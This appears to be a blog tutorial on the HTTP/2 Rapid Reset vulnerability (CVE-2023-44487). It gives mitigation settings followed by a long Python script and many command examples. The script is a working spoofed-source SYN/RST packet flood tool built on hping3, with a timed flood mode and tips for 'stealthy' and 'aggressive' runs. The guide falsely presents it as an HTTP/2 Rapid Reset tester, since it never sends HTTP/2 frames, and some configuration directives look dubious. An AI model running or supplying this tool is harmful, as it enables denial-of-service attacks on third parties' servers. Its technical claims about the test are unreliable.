Testing Your Website for HTTP/2 Rapid Reset Vulnerabilities from a macOS

Introduction

In August 2023, a critical zero day vulnerability in the HTTP/2 protocol was disclosed that affected virtually every HTTP/2 capable web server and proxy. Known as HTTP/2 Rapid Reset (CVE 2023 44487), this vulnerability enabled attackers to launch devastating Distributed Denial of Service (DDoS) attacks with minimal resources. Google reported mitigating the largest DDoS attack ever recorded at the time (398 million requests per second) leveraging this technique.

Understanding this vulnerability and knowing how to test your infrastructure against it is crucial for maintaining a secure and resilient web presence. This guide provides a flexible testing tool specifically designed for macOS that uses hping3 for packet crafting with CIDR based source IP address spoofing capabilities.

What is HTTP/2 Rapid Reset?

The HTTP/2 Protocol Foundation

HTTP/2 introduced multiplexing, allowing multiple streams (requests/responses) to be sent concurrently over a single TCP connection. Each stream has a unique identifier and can be independently managed. To cancel a stream, HTTP/2 uses the RST_STREAM frame, which immediately terminates the stream and signals that no further processing is needed.

The Vulnerability Mechanism

The HTTP/2 Rapid Reset attack exploits the asymmetry between client cost and server cost:

• Client cost: Sending a request followed immediately by a RST_STREAM frame is computationally trivial
• Server cost: Processing the incoming request (parsing headers, routing, backend queries) consumes significant resources before the cancellation is received

An attacker can:

1. Open an HTTP/2 connection
2. Send thousands of requests with incrementing stream IDs
3. Immediately cancel each request with RST_STREAM frames
4. Repeat this cycle at extremely high rates

The server receives these requests and begins processing them. Even though the cancellation arrives milliseconds later, the server has already invested CPU, memory, and I/O resources. By sending millions of request cancel pairs per second, attackers can exhaust server resources with minimal bandwidth.

Why It’s So Effective

Traditional rate limiting and DDoS mitigation techniques struggle against Rapid Reset attacks because:

• Low bandwidth usage: The attack uses minimal data (mostly HTTP/2 frames with small headers)
• Valid protocol behavior: RST_STREAM is a legitimate HTTP/2 mechanism
• Connection reuse: Attackers multiplex thousands of streams over relatively few connections
• Amplification: Each cheap client operation triggers expensive server side processing

How to Guard Against HTTP/2 Rapid Reset

1. Update Your Software Stack

Immediate Priority: Ensure all HTTP/2 capable components are patched:

Web Servers:

• Nginx 1.25.2+ or 1.24.1+
• Apache HTTP Server 2.4.58+
• Caddy 2.7.4+
• LiteSpeed 6.0.12+

Reverse Proxies and Load Balancers:

• HAProxy 2.8.2+ or 2.6.15+
• Envoy 1.27.0+
• Traefik 2.10.5+

CDN and Cloud Services:

• CloudFlare (auto patched August 2023)
• AWS ALB/CloudFront (patched)
• Azure Front Door (patched)
• Google Cloud Load Balancer (patched)

Application Servers:

• Tomcat 10.1.13+, 9.0.80+
• Jetty 12.0.1+, 11.0.16+, 10.0.16+
• Node.js 20.8.0+, 18.18.0+

2. Implement Stream Limits

Configure strict limits on HTTP/2 stream behavior:

# Nginx configuration
http2_max_concurrent_streams 128;
http2_recv_timeout 10s;

# Apache HTTP Server
H2MaxSessionStreams 100
H2StreamTimeout 10

# HAProxy configuration
defaults
    timeout http-request 10s
    timeout http-keep-alive 10s

frontend https-in
    option http-use-htx
    http-request track-sc0 src
    http-request deny if { sc_http_req_rate(0) gt 100 }

3. Deploy Rate Limiting

Implement multi layered rate limiting:

Connection level limits:

limit_conn_zone $binary_remote_addr zone=addr:10m;
limit_conn addr 10;  # Max 10 concurrent connections per IP

Request level limits:

limit_req_zone $binary_remote_addr zone=req_limit:10m rate=50r/s;
limit_req zone=req_limit burst=20 nodelay;

Stream cancellation tracking:

# Newer Nginx versions track RST_STREAM rates
http2_max_concurrent_streams 100;
http2_max_field_size 16k;
http2_max_header_size 32k;

4. Infrastructure Level Protections

Use a WAF or DDoS Protection Service:

• CloudFlare (includes Rapid Reset protection)
• AWS Shield Advanced
• Azure DDoS Protection Standard
• Imperva/Akamai

Enable Connection Draining:

# Gracefully handle connection resets
http2_recv_buffer_size 256k;
keepalive_timeout 60s;
keepalive_requests 100;

5. Monitoring and Alerting

Track critical metrics:

• HTTP/2 stream reset rates
• Concurrent stream counts per connection
• Request cancellation patterns
• CPU and memory usage spikes
• Unusual traffic patterns from specific IPs

Example Prometheus query:

rate(nginx_http_requests_total{status="499"}[5m]) > 100

6. Consider HTTP/2 Disabling (Temporary Measure)

If you cannot immediately patch:

# Nginx: Disable HTTP/2 temporarily
listen 443 ssl;  # Remove http2 parameter

# Apache: Disable HTTP/2 module
# a2dismod http2

Note: This reduces performance benefits but eliminates the vulnerability.

Testing Script for HTTP/2 Rapid Reset Vulnerabilities on macOS

Below is a parameterized Python script that tests your web servers using hping3 for packet crafting. This script is specifically optimized for macOS and can spoof source IP addresses from a CIDR block to simulate distributed attacks. Using hping3 ensures IP spoofing works consistently across different network environments.

Prerequisites for macOS

Installation Steps:

# Install Homebrew (if not already installed)
/bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/HEAD/install.sh)"

# Install hping3
brew install hping

Note: This script requires root/sudo privileges for packet crafting and IP spoofing.

The Testing Script

#!/usr/bin/env python3
"""
HTTP/2 Rapid Reset Vulnerability Tester for macOS
Tests web servers for susceptibility to CVE-2023-44487
Uses hping3 for packet crafting with source IP spoofing from CIDR block

Usage:
    sudo python3 http2rapidresettester_macos.py --host example.com --port 443 --cidr 192.168.1.0/24 --packets 1000

Requirements:
    brew install hping
"""

import argparse
import subprocess
import random
import ipaddress
import time
import sys
import os
import platform
from typing import List, Optional

class HTTP2RapidResetTester:
    def __init__(
        self,
        host: str,
        port: int = 443,
        cidr_block: str = None,
        timeout: int = 30,
        verbose: bool = False
    ):
        self.host = host
        self.port = port
        self.cidr_block = cidr_block
        self.timeout = timeout
        self.verbose = verbose
        self.source_ips: List[str] = []

        # Verify running on macOS
        if platform.system() != 'Darwin':
            print("WARNING: This script is optimized for macOS")

        if not self.check_hping3():
            raise RuntimeError("hping3 is not installed. Install with: brew install hping")

        if not self.check_root():
            raise RuntimeError("This script requires root privileges (use sudo)")

        if cidr_block:
            self.generate_source_ips()

    def check_hping3(self) -> bool:
        """Check if hping3 is installed"""
        try:
            result = subprocess.run(
                ['which', 'hping3'],
                capture_output=True,
                text=True,
                timeout=5
            )
            if result.returncode == 0:
                return True

            # Try alternative hping command
            result = subprocess.run(
                ['which', 'hping'],
                capture_output=True,
                text=True,
                timeout=5
            )
            return result.returncode == 0
        except Exception as e:
            print(f"Error checking for hping3: {e}")
            return False

    def check_root(self) -> bool:
        """Check if running with root privileges"""
        return os.geteuid() == 0

    def generate_source_ips(self):
        """Generate list of IP addresses from CIDR block"""
        try:
            network = ipaddress.ip_network(self.cidr_block, strict=False)
            self.source_ips = [str(ip) for ip in network.hosts()]

            if len(self.source_ips) == 0:
                # Handle /32 or /31 networks
                self.source_ips = [str(ip) for ip in network]

            print(f"Generated {len(self.source_ips)} source IPs from {self.cidr_block}")

        except ValueError as e:
            print(f"Invalid CIDR block: {e}")
            sys.exit(1)

    def get_random_source_ip(self) -> Optional[str]:
        """Get a random IP address from the CIDR block"""
        if not self.source_ips:
            return None
        return random.choice(self.source_ips)

    def get_hping_command(self) -> str:
        """Determine which hping command is available"""
        result = subprocess.run(['which', 'hping3'], capture_output=True, text=True)
        if result.returncode == 0:
            return 'hping3'
        return 'hping'

    def craft_syn_packet(self, source_ip: str, count: int = 1) -> bool:
        """
        Craft TCP SYN packet using hping3

        Args:
            source_ip: Source IP address to spoof
            count: Number of packets to send

        Returns:
            True if successful, False otherwise
        """
        try:
            hping_cmd = self.get_hping_command()
            cmd = [
                hping_cmd,
                '-S',  # SYN flag
                '-p', str(self.port),  # Destination port
                '-c', str(count),  # Packet count
                '--fast',  # Send packets as fast as possible
            ]

            if source_ip:
                cmd.extend(['-a', source_ip])  # Spoof source IP

            cmd.append(self.host)

            if self.verbose:
                print(f"Executing: {' '.join(cmd)}")

            result = subprocess.run(
                cmd,
                capture_output=True,
                text=True,
                timeout=self.timeout
            )

            return result.returncode == 0

        except subprocess.TimeoutExpired:
            if self.verbose:
                print(f"Timeout executing hping3 for {source_ip}")
            return False
        except Exception as e:
            if self.verbose:
                print(f"Error crafting SYN packet: {e}")
            return False

    def craft_rst_packet(self, source_ip: str, count: int = 1) -> bool:
        """
        Craft TCP RST packet using hping3

        Args:
            source_ip: Source IP address to spoof
            count: Number of packets to send

        Returns:
            True if successful, False otherwise
        """
        try:
            hping_cmd = self.get_hping_command()
            cmd = [
                hping_cmd,
                '-R',  # RST flag
                '-p', str(self.port),  # Destination port
                '-c', str(count),  # Packet count
                '--fast',  # Send packets as fast as possible
            ]

            if source_ip:
                cmd.extend(['-a', source_ip])  # Spoof source IP

            cmd.append(self.host)

            if self.verbose:
                print(f"Executing: {' '.join(cmd)}")

            result = subprocess.run(
                cmd,
                capture_output=True,
                text=True,
                timeout=self.timeout
            )

            return result.returncode == 0

        except subprocess.TimeoutExpired:
            if self.verbose:
                print(f"Timeout executing hping3 for {source_ip}")
            return False
        except Exception as e:
            if self.verbose:
                print(f"Error crafting RST packet: {e}")
            return False

    def rapid_reset_test(
        self,
        num_packets: int,
        packets_per_ip: int = 10,
        reset_ratio: float = 1.0,
        delay_between_bursts: float = 0.01
    ) -> dict:
        """
        Perform rapid reset attack simulation

        Args:
            num_packets: Total number of packets to send
            packets_per_ip: Number of packets per source IP before switching
            reset_ratio: Ratio of RST packets to SYN packets (1.0 = equal)
            delay_between_bursts: Delay between packet bursts in seconds

        Returns:
            Dictionary with test results
        """
        results = {
            'total_packets': 0,
            'syn_packets': 0,
            'rst_packets': 0,
            'unique_source_ips': 0,
            'failed_packets': 0,
            'start_time': time.time(),
            'end_time': None
        }

        print(f"\nStarting HTTP/2 Rapid Reset test:")
        print(f"   Total packets: {num_packets}")
        print(f"   Packets per source IP: {packets_per_ip}")
        print(f"   RST to SYN ratio: {reset_ratio}")
        print(f"   Target: {self.host}:{self.port}")
        if self.cidr_block:
            print(f"   Source CIDR: {self.cidr_block}")
            print(f"   Available source IPs: {len(self.source_ips)}")
        print("=" * 60)

        used_ips = set()
        packets_sent = 0
        current_ip_packets = 0
        current_source_ip = self.get_random_source_ip()

        if current_source_ip:
            used_ips.add(current_source_ip)

        try:
            while packets_sent < num_packets:
                # Switch to new source IP if needed
                if current_ip_packets >= packets_per_ip and self.source_ips:
                    current_source_ip = self.get_random_source_ip()
                    used_ips.add(current_source_ip)
                    current_ip_packets = 0

                # Send SYN packet
                if self.craft_syn_packet(current_source_ip, count=1):
                    results['syn_packets'] += 1
                    results['total_packets'] += 1
                    packets_sent += 1
                    current_ip_packets += 1
                else:
                    results['failed_packets'] += 1

                # Send RST packet based on ratio
                if random.random() < reset_ratio:
                    if self.craft_rst_packet(current_source_ip, count=1):
                        results['rst_packets'] += 1
                        results['total_packets'] += 1
                        packets_sent += 1
                        current_ip_packets += 1
                    else:
                        results['failed_packets'] += 1

                # Progress indicator
                if packets_sent % 100 == 0:
                    elapsed = time.time() - results['start_time']
                    rate = packets_sent / elapsed if elapsed > 0 else 0
                    print(f"Progress: {packets_sent}/{num_packets} packets "
                          f"({rate:.0f} pps) | "
                          f"Unique IPs: {len(used_ips)}")

                # Small delay between bursts
                if delay_between_bursts > 0:
                    time.sleep(delay_between_bursts)

        except KeyboardInterrupt:
            print("\nTest interrupted by user")
        except Exception as e:
            print(f"\nTest error: {e}")

        results['end_time'] = time.time()
        results['unique_source_ips'] = len(used_ips)

        return results

    def flood_mode(
        self,
        duration: int = 60,
        packet_rate: int = 1000
    ) -> dict:
        """
        Perform continuous flood attack for specified duration

        Args:
            duration: Duration of the flood in seconds
            packet_rate: Target packet rate per second

        Returns:
            Dictionary with test results
        """
        results = {
            'total_packets': 0,
            'syn_packets': 0,
            'rst_packets': 0,
            'unique_source_ips': 0,
            'failed_packets': 0,
            'start_time': time.time(),
            'end_time': None,
            'duration': duration
        }

        print(f"\nStarting flood mode:")
        print(f"   Duration: {duration} seconds")
        print(f"   Target rate: {packet_rate} packets/second")
        print(f"   Target: {self.host}:{self.port}")
        if self.cidr_block:
            print(f"   Source CIDR: {self.cidr_block}")
        print("=" * 60)

        end_time = time.time() + duration
        used_ips = set()

        try:
            while time.time() < end_time:
                batch_start = time.time()

                # Send batch of packets
                for _ in range(packet_rate // 10):  # Batch in 0.1s intervals
                    source_ip = self.get_random_source_ip()
                    if source_ip:
                        used_ips.add(source_ip)

                    # Send SYN
                    if self.craft_syn_packet(source_ip, count=1):
                        results['syn_packets'] += 1
                        results['total_packets'] += 1
                    else:
                        results['failed_packets'] += 1

                    # Send RST
                    if self.craft_rst_packet(source_ip, count=1):
                        results['rst_packets'] += 1
                        results['total_packets'] += 1
                    else:
                        results['failed_packets'] += 1

                # Rate limiting
                batch_duration = time.time() - batch_start
                sleep_time = 0.1 - batch_duration
                if sleep_time > 0:
                    time.sleep(sleep_time)

                # Progress update
                elapsed = time.time() - results['start_time']
                remaining = end_time - time.time()
                rate = results['total_packets'] / elapsed if elapsed > 0 else 0

                print(f"Elapsed: {elapsed:.1f}s | Remaining: {remaining:.1f}s | "
                      f"Rate: {rate:.0f} pps | Total: {results['total_packets']}")

        except KeyboardInterrupt:
            print("\nFlood interrupted by user")
        except Exception as e:
            print(f"\nFlood error: {e}")

        results['end_time'] = time.time()
        results['unique_source_ips'] = len(used_ips)

        return results

    def display_results(self, results: dict):
        """Display test results in a readable format"""
        duration = results['end_time'] - results['start_time']

        print("\n" + "=" * 60)
        print("TEST RESULTS")
        print("=" * 60)
        print(f"Total packets sent:      {results['total_packets']}")
        print(f"SYN packets:             {results['syn_packets']}")
        print(f"RST packets:             {results['rst_packets']}")
        print(f"Failed packets:          {results['failed_packets']}")
        print(f"Unique source IPs used:  {results['unique_source_ips']}")
        print(f"Test duration:           {duration:.2f}s")

        if duration > 0:
            rate = results['total_packets'] / duration
            print(f"Average packet rate:     {rate:.0f} packets/second")

        print("\n" + "=" * 60)
        print("ASSESSMENT")
        print("=" * 60)

        if results['failed_packets'] > results['total_packets'] * 0.5:
            print("WARNING: High failure rate detected")
            print("  Check network connectivity and firewall rules")
        elif results['total_packets'] > 0:
            print("Test completed successfully")
            print("  Monitor target server for:")
            print("    Connection state table exhaustion")
            print("    CPU/memory utilization spikes")
            print("    Application performance degradation")

        print("=" * 60 + "\n")

def main():
    parser = argparse.ArgumentParser(
        description='Test web servers for HTTP/2 Rapid Reset vulnerability (macOS version)',
        formatter_class=argparse.RawDescriptionHelpFormatter,
        epilog="""
Examples:
  # Basic test with CIDR block
  sudo python3 http2rapidresettester_macos.py --host example.com --cidr 192.168.1.0/24 --packets 1000

  # Flood mode for 60 seconds
  sudo python3 http2rapidresettester_macos.py --host example.com --cidr 10.0.0.0/16 --flood --duration 60

  # High intensity test
  sudo python3 http2rapidresettester_macos.py --host example.com --cidr 172.16.0.0/12 --packets 10000 --packetsperip 50

  # Test without IP spoofing
  sudo python3 http2rapidresettester_macos.py --host example.com --packets 1000

Prerequisites:
  1. Install hping3: brew install hping
  2. Run with sudo for raw socket access

Note: IP spoofing works reliably with hping3 across different network environments.
        """
    )

    # Connection parameters
    parser.add_argument('--host', required=True, help='Target hostname or IP address')
    parser.add_argument('--port', type=int, default=443, help='Target port (default: 443)')
    parser.add_argument('--cidr', help='CIDR block for source IP spoofing (e.g., 192.168.1.0/24)')
    parser.add_argument('--timeout', type=int, default=30, help='Command timeout in seconds (default: 30)')

    # Test mode parameters
    parser.add_argument('--flood', action='store_true', help='Enable flood mode (continuous attack)')
    parser.add_argument('--duration', type=int, default=60, help='Duration for flood mode in seconds (default: 60)')
    parser.add_argument('--packetrate', type=int, default=1000, help='Target packet rate for flood mode (default: 1000)')

    # Normal mode parameters
    parser.add_argument('--packets', type=int, default=1000,
                       help='Total number of packets to send (default: 1000)')
    parser.add_argument('--packetsperip', type=int, default=10,
                       help='Number of packets per source IP before switching (default: 10)')
    parser.add_argument('--resetratio', type=float, default=1.0,
                       help='Ratio of RST to SYN packets (default: 1.0)')
    parser.add_argument('--burstdelay', type=float, default=0.01,
                       help='Delay between packet bursts in seconds (default: 0.01)')

    # Other options
    parser.add_argument('--verbose', action='store_true', help='Enable verbose output')

    args = parser.parse_args()

    # Print header
    print("=" * 60)
    print("HTTP/2 Rapid Reset Vulnerability Tester for macOS")
    print("CVE-2023-44487")
    print("Using hping3 for packet crafting")
    print("=" * 60)
    print(f"Target: {args.host}:{args.port}")
    if args.cidr:
        print(f"Source CIDR: {args.cidr}")
    else:
        print("Source IP: Local IP (no spoofing)")
    print("=" * 60)

    # Create tester instance
    try:
        tester = HTTP2RapidResetTester(
            host=args.host,
            port=args.port,
            cidr_block=args.cidr,
            timeout=args.timeout,
            verbose=args.verbose
        )
    except RuntimeError as e:
        print(f"ERROR: {e}")
        sys.exit(1)

    try:
        if args.flood:
            # Run flood mode
            results = tester.flood_mode(
                duration=args.duration,
                packet_rate=args.packetrate
            )
        else:
            # Run normal rapid reset test
            results = tester.rapid_reset_test(
                num_packets=args.packets,
                packets_per_ip=args.packetsperip,
                reset_ratio=args.resetratio,
                delay_between_bursts=args.burstdelay
            )

        # Display results
        tester.display_results(results)

    except KeyboardInterrupt:
        print("\nTest interrupted by user")
        sys.exit(0)
    except Exception as e:
        print(f"\nFatal error: {e}")
        import traceback
        if args.verbose:
            traceback.print_exc()
        sys.exit(1)

if __name__ == '__main__':
    main()

Using the Testing Script on macOS

Basic Usage

Test your server with CIDR block spoofing:

sudo python3 http2rapidresettester_macos.py --host example.com --cidr 192.168.1.0/24 --packets 1000

Advanced Examples

High intensity test (use cautiously in test environments):

sudo python3 http2rapidresettester_macos.py \
    --host staging.example.com \
    --cidr 10.0.0.0/16 \
    --packets 5000 \
    --packetsperip 50

Flood mode for sustained testing:

sudo python3 http2rapidresettester_macos.py \
    --host test.example.com \
    --cidr 172.16.0.0/12 \
    --flood \
    --duration 60 \
    --packetrate 500

Test without IP spoofing:

sudo python3 http2rapidresettester_macos.py \
    --host example.com \
    --packets 1000

Verbose mode for debugging:

sudo python3 http2rapidresettester_macos.py \
    --host example.com \
    --cidr 192.168.1.0/24 \
    --packets 100 \
    --verbose

Gradual escalation test (start small, increase if needed):

# Start with 50 packets
sudo python3 http2rapidresettester_macos.py --host example.com --cidr 192.168.1.0/24 --packets 50

# If server handles it well, increase
sudo python3 http2rapidresettester_macos.py --host example.com --cidr 192.168.1.0/24 --packets 200

# Final aggressive test
sudo python3 http2rapidresettester_macos.py --host example.com --cidr 192.168.1.0/24 --packets 1000

Interpreting Results

The script outputs packet statistics including:

• Total packets sent (SYN and RST combined)
• Number of SYN packets
• Number of RST packets
• Failed packet count
• Number of unique source IPs used
• Average packet rate
• Test duration

What to Monitor

Monitor your target server for:

• Connection state table exhaustion: Check netstat or ss output for connection counts
• CPU and memory utilization spikes: Use Activity Monitor or top command
• Application performance degradation: Monitor response times and error rates
• Firewall or rate limiting triggers: Check firewall logs and rate limiting counters

Protected Server Indicators

• High failure rate in the test results
• Server actively blocking or rate limiting connections
• Firewall rules triggering during test
• Connection resets from the server

Vulnerable Server Indicators

• All packets successfully sent with low failure rate
• No rate limiting or blocking observed
• Server continues processing all requests
• Resource utilization climbs steadily

Why hping3 for macOS?

Using hping3 provides several advantages for macOS users:

Universal IP Spoofing Support

• Consistent behavior: hping3 provides reliable IP spoofing across different network configurations
• Proven tool: Industry standard for packet crafting and network testing
• Better compatibility: Works with most network interfaces and routing configurations

macOS Specific Benefits

• Native support: Works well with macOS network stack
• Firewall compatibility: Better integration with macOS firewall
• Performance: Efficient packet generation on macOS

Reliability Advantages

• Mature codebase: hping3 has been battle tested for decades
• Active community: Well documented with extensive community support
• Cross platform: Same tool works on Linux, BSD, and macOS

macOS Installation and Setup

Installing hping3

# Using Homebrew (recommended)
brew install hping

# Verify installation
which hping3
hping3 --version

Firewall Configuration

macOS firewall may need configuration for raw packet injection:

1. Open System Preferences > Security & Privacy > Firewall
2. Click “Firewall Options”
3. Add Python to allowed applications
4. Grant network access when prompted

Alternatively, for testing environments:

# Temporarily disable firewall (not recommended for production)
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setglobalstate off

# Re-enable after testing
sudo /usr/libexec/ApplicationFirewall/socketfilterfw --setglobalstate on

Network Interfaces

List available network interfaces:

ifconfig

Common macOS interfaces:

• en0: Primary Ethernet/WiFi
• en1: Secondary network interface
• lo0: Loopback interface
• bridge0: Bridged interface (if using virtualization)

Best Practices for Testing

1. Start with staging/test environments: Never run aggressive tests against production without authorization
2. Coordinate with your team: Inform security and operations teams before testing
3. Monitor server metrics: Watch CPU, memory, and connection counts during tests
4. Test during low traffic periods: Minimize impact on real users if testing production
5. Gradual escalation: Start with conservative parameters and increase gradually
6. Document results: Keep records of test results and any configuration changes
7. Have rollback plans: Be prepared to quickly disable testing if issues arise

Troubleshooting on macOS

Error: “hping3 is not installed”

Install hping3 using Homebrew:

brew install hping

Error: “Operation not permitted”

Make sure you are running with sudo:

sudo python3 http2rapidresettester_macos.py [options]

Error: “No route to host”

Check your network connectivity:

ping example.com
traceroute example.com

Verify your network interface is up:

ifconfig en0

Packets Not Being Sent

Possible causes and solutions:

1. Firewall blocking: Temporarily disable firewall or add exception
2. Interface not active: Check ifconfig output
3. Permission issues: Ensure running with sudo
4. Wrong interface: Specify interface with hping3 using i flag

Low Packet Rate

Performance optimization tips:

• Use wired Ethernet instead of WiFi
• Close other network intensive applications
• Reduce packet rate target with --packetrate
• Use smaller CIDR blocks

Monitoring Your Tests

Using tcpdump

Monitor packets in real time:

# Watch SYN packets
sudo tcpdump -i en0 'tcp[tcpflags] & tcp-syn != 0' -n

# Watch RST packets
sudo tcpdump -i en0 'tcp[tcpflags] & tcp-rst != 0' -n

# Watch specific host and port
sudo tcpdump -i en0 host example.com and port 443 -n

# Save to file for later analysis
sudo tcpdump -i en0 -w test_capture.pcap host example.com

Using Wireshark

For detailed packet analysis:

# Install Wireshark
brew install --cask wireshark

# Run Wireshark
sudo wireshark

# Or use tshark for command line
tshark -i en0 -f "host example.com"

Activity Monitor

Monitor system resources during testing:

1. Open Activity Monitor (Applications > Utilities > Activity Monitor)
2. Select “Network” tab
3. Watch “Packets in” and “Packets out”
4. Monitor “Data sent/received”
5. Check CPU usage of Python process

Server Side Monitoring

On your target server, monitor:

# Connection states
netstat -an | grep :443 | awk '{print $6}' | sort | uniq -c

# Active connections count
netstat -an | grep ESTABLISHED | wc -l

# SYN_RECV connections
netstat -an | grep SYN_RECV | wc -l

# System resources
top -l 1 | head -10

Understanding IP Spoofing with hping3

How It Works

hping3 creates raw packets at the network layer, allowing you to specify arbitrary source IP addresses. This bypasses normal TCP/IP stack restrictions.

Network Requirements

For IP spoofing to work effectively:

• Local networks: Works best on LANs you control
• Direct routing: Requires direct layer 2 access
• No NAT interference: NAT devices may rewrite source addresses
• Router configuration: Some routers filter spoofed packets (BCP 38)

Testing Without Spoofing

If IP spoofing is not working in your environment:

# Test without CIDR block
sudo python3 http2rapidresettester_macos.py --host example.com --packets 1000

# This still validates:
# - Rate limiting configuration
# - Stream management
# - Server resilience
# - Resource consumption patterns

Advanced Configuration Options

Custom Packet Timing

# Slower, more stealthy testing
sudo python3 http2rapidresettester_macos.py \
    --host example.com \
    --packets 500 \
    --burstdelay 0.1  # 100ms between bursts

# Faster, more aggressive
sudo python3 http2rapidresettester_macos.py \
    --host example.com \
    --packets 1000 \
    --burstdelay 0.001  # 1ms between bursts

Custom RST to SYN Ratio

# More SYN packets (mimics connection attempts)
sudo python3 http2rapidresettester_macos.py \
    --host example.com \
    --packets 1000 \
    --resetratio 0.3  # 1 RST for every 3 SYN

# Equal SYN and RST (classic rapid reset)
sudo python3 http2rapidresettester_macos.py \
    --host example.com \
    --packets 1000 \
    --resetratio 1.0

Targeting Different Ports

# Test HTTPS (port 443)
sudo python3 http2rapidresettester_macos.py --host example.com --port 443

# Test HTTP/2 on custom port
sudo python3 http2rapidresettester_macos.py --host example.com --port 8443

# Test load balancer
sudo python3 http2rapidresettester_macos.py --host lb.example.com --port 443

Understanding the Attack Surface

When testing your infrastructure:

1. Test all HTTP/2 endpoints: Web servers, load balancers, API gateways
2. Verify CDN protection: Test both origin and CDN endpoints
3. Test direct vs proxied: Compare protection at different layers
4. Validate rate limiting: Ensure limits trigger at expected thresholds
5. Confirm monitoring: Verify alerts trigger correctly

Conclusion

The HTTP/2 Rapid Reset vulnerability represents a significant threat to web infrastructure, but with proper patching, configuration, and monitoring, you can effectively protect your systems. This macOS optimized testing script using hping3 allows you to validate your defenses in a controlled manner with reliable IP spoofing capabilities across different network environments.

Remember that security is an ongoing process. Regularly:

• Update your web server and proxy software
• Review and adjust HTTP/2 configuration limits
• Monitor for unusual traffic patterns
• Test your defenses against emerging threats

By staying vigilant and proactive, you can maintain a resilient web presence capable of withstanding sophisticated DDoS attacks.

Additional Resources

• CVE 2023 44487 Details
• Google Cloud Blog: HTTP/2 Rapid Reset Attack
• Cloudflare Technical Breakdown
• CISA Advisory
• hping3 Documentation

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This blog post and testing script are provided for educational and defensive security purposes only. Always obtain proper authorization before testing systems you do not own.